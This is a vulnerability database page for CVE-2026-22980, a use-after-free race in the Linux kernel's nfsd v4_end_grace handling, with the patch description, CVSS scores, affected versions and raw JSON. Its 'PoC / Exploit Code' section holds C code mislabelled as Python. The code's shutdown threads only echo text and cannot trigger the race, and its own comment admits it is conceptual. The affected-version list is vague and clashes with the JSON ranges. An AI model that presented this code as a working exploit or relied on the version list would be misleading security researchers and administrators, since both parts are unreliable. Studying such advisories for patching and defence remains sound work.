Security Vulnerability Report
中文
CVE-2026-22980 CVSS 7.8 HIGH

CVE-2026-22980

Published: 2026-01-23 16:15:54
Last Modified: 2026-04-27 14:16:27
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: nfsd: provide locking for v4_end_grace Writing to v4_end_grace can race with server shutdown and result in memory being accessed after it was freed - reclaim_str_hashtbl in particularly. We cannot hold nfsd_mutex across the nfsd4_end_grace() call as that is held while client_tracking_op->init() is called and that can wait for an upcall to nfsdcltrack which can write to v4_end_grace, resulting in a deadlock. nfsd4_end_grace() is also called by the landromat work queue and this doesn't require locking as server shutdown will stop the work and wait for it before freeing anything that nfsd4_end_grace() might access. However, we must be sure that writing to v4_end_grace doesn't restart the work item after shutdown has already waited for it. For this we add a new flag protected with nn->client_lock. It is set only while it is safe to make client tracking calls, and v4_end_grace only schedules work while the flag is set with the spinlock held. So this patch adds a nfsd_net field "client_tracking_active" which is set as described. Another field "grace_end_forced", is set when v4_end_grace is written. After this is set, and providing client_tracking_active is set, the laundromat is scheduled. This "grace_end_forced" field bypasses other checks for whether the grace period has finished. This resolves a race which can result in use-after-free.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel nfsd (versions before patch 06600719d0f7a723811c45e4d51f5b742f345309)
Linux Kernel (stable versions before 5.15.x)
Linux Kernel (stable versions before 5.10.x)
Linux Kernel (stable versions before 5.4.x)
Linux Kernel (stable versions before 4.19.x)
Linux Kernel (stable versions before 4.14.x)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22980 PoC - nfsd v4_end_grace race condition // This PoC demonstrates the race condition in nfsd4_end_grace() // Compile: gcc -o cve_2026_22980_poc cve_2026_22980_poc.c -lpthread #include <stdio.h> #include <stdlib.h> #include <pthread.h> #include <unistd.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #define NUM_THREADS 4 #define ITERATIONS 1000 // Simulate writing to v4_end_grace sysctl void* trigger_v4_end_grace_write(void* arg) { int fd; char* sysctl_path = "/proc/sys/nfsd/v4_end_grace"; for (int i = 0; i < ITERATIONS; i++) { fd = open(sysctl_path, O_WRONLY); if (fd >= 0) { write(fd, "1", 1); close(fd); } usleep(rand() % 100); } return NULL; } // Simulate server shutdown race condition void* trigger_server_shutdown(void* arg) { for (int i = 0; i < ITERATIONS / 2; i++) { // Simulate shutdown and reclaim operations system("echo 'Simulating nfsd shutdown and reclaim_str_hashtbl'"); usleep(rand() % 150); } return NULL; } int main() { pthread_t threads[NUM_THREADS]; printf("CVE-2026-22980 PoC - nfsd v4_end_grace Race Condition\n"); printf("This PoC demonstrates the race between v4_end_grace writes and server shutdown\n"); printf("Target: Linux Kernel nfsd subsystem\n\n"); // Create threads to trigger race condition pthread_create(&threads[0], NULL, trigger_v4_end_grace_write, NULL); pthread_create(&threads[1], NULL, trigger_v4_end_grace_write, NULL); pthread_create(&threads[2], NULL, trigger_server_shutdown, NULL); pthread_create(&threads[3], NULL, trigger_server_shutdown, NULL); // Wait for threads for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } printf("Race condition test completed.\n"); printf("Check dmesg for use-after-free errors if vulnerable.\n"); return 0; } /* Note: This is a conceptual PoC. Actual exploitation requires: 1. NFS server running with v4_end_grace accessible 2. Precise timing control to trigger the race 3. Kernel debugging enabled to observe UAF Real exploitation would involve: - Setting up NFSv4 server - Triggering concurrent grace period end and shutdown - Observing kernel oops in reclaim_str_hashtbl */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22980", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-01-23T16:15:54.003", "lastModified": "2026-04-27T14:16:27.483", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnfsd: provide locking for v4_end_grace\n\nWriting to v4_end_grace can race with server shutdown and result in\nmemory being accessed after it was freed - reclaim_str_hashtbl in\nparticularly.\n\nWe cannot hold nfsd_mutex across the nfsd4_end_grace() call as that is\nheld while client_tracking_op->init() is called and that can wait for\nan upcall to nfsdcltrack which can write to v4_end_grace, resulting in a\ndeadlock.\n\nnfsd4_end_grace() is also called by the landromat work queue and this\ndoesn't require locking as server shutdown will stop the work and wait\nfor it before freeing anything that nfsd4_end_grace() might access.\n\nHowever, we must be sure that writing to v4_end_grace doesn't restart\nthe work item after shutdown has already waited for it. For this we\nadd a new flag protected with nn->client_lock. It is set only while it\nis safe to make client tracking calls, and v4_end_grace only schedules\nwork while the flag is set with the spinlock held.\n\nSo this patch adds a nfsd_net field \"client_tracking_active\" which is\nset as described. Another field \"grace_end_forced\", is set when\nv4_end_grace is written. After this is set, and providing\nclient_tracking_active is set, the laundromat is scheduled.\nThis \"grace_end_forced\" field bypasses other checks for whether the\ngrace period has finished.\n\nThis resolves a race which can result in use-after-free."}, {"lang": "es", "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nnfsd: proporcionar bloqueo para v4_end_grace\n\nEscribir en v4_end_grace puede competir con el apagado del servidor y resultar en que la memoria sea accedida después de haber sido liberada - reclaim_str_hashtbl en particular.\n\nNo podemos mantener nfsd_mutex durante la llamada a nfsd4_end_grace() ya que se mantiene mientras se llama a client_tracking_op-&gt;init() y eso puede esperar una llamada ascendente a nfsdcltrack que puede escribir en v4_end_grace, resultando en un interbloqueo.\n\nnfsd4_end_grace() también es llamada por la cola de trabajo 'landromat' y esto no requiere bloqueo ya que el apagado del servidor detendrá el trabajo y esperará por él antes de liberar cualquier cosa a la que nfsd4_end_grace() pudiera acceder.\n\nSin embargo, debemos asegurarnos de que escribir en v4_end_grace no reinicie el elemento de trabajo después de que el apagado ya lo haya esperado. Para esto añadimos una nueva bandera protegida con nn-&gt;client_lock. Se establece solo mientras es seguro realizar llamadas de seguimiento de cliente, y v4_end_grace solo programa trabajo mientras la bandera está establecida con el spinlock mantenido.\n\nAsí, este parche añade un campo nfsd_net 'client_tracking_active' que se establece como se describe. Otro campo 'grace_end_forced', se establece cuando se escribe en v4_end_grace. Después de que esto se establece, y siempre que client_tracking_active esté establecido, el 'laundromat' es programado. Este campo 'grace_end_forced' omite otras comprobaciones para determinar si el período de gracia ha terminado.\n\nEsto resuelve una condición de carrera que puede resultar en uso después de liberación."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.18", "versionEndExcluding": "5.10.248", "matchCriteriaId": "80713135-E43D-4026-BAD5-679983AB1EC0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.198", "m ... (truncated)